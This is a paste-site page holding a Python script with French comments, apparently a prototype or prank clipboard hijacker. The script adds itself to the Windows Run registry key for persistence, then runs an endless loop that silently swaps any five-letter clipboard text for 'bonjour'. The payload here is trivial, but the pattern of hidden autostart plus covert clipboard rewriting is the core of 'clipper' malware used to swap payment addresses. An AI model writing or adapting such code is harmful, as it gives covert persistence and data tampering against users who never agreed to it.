Untitled
unknown
plain_text
a year ago
1.6 kB
8
Indexable
import os
import sys
import pyperclip
import time
import re
import winreg
def add_to_startup():
# Récupère le chemin complet du fichier .exe en cours d'exécution
exe_path = sys.executable
# Chemin du registre pour les programmes au démarrage
registry_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
try:
# Ouvre la clé de registre pour modification
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, registry_key, 0, winreg.KEY_SET_VALUE)
# Ajoute une valeur de chaîne avec le chemin du fichier .exe
winreg.SetValueEx(key, "ClipboardMonitor", 0, winreg.REG_SZ, exe_path)
# Ferme la clé de registre
winreg.CloseKey(key)
print("Ajouté au démarrage avec succès.")
except Exception as e:
print(f"Erreur lors de l'ajout au démarrage : {e}")
def monitor_clipboard():
previous_text = ""
while True:
# Récupère le contenu actuel du presse-papier
current_text = pyperclip.paste()
# Si le contenu a changé
if current_text != previous_text:
previous_text = current_text
# Vérifie si le texte contient exactement 5 lettres
if re.fullmatch(r"[a-zA-Z]{5}", current_text):
# Remplace par "bonjour"
pyperclip.copy("bonjour")
# Attente pour éviter une utilisation intensive des ressources
time.sleep(0.5)
if __name__ == "__main__":
# Ajoute au démarrage automatiquement
add_to_startup()
# Lance la surveillance du presse-papier
monitor_clipboard()Editor is loading...
Leave a Comment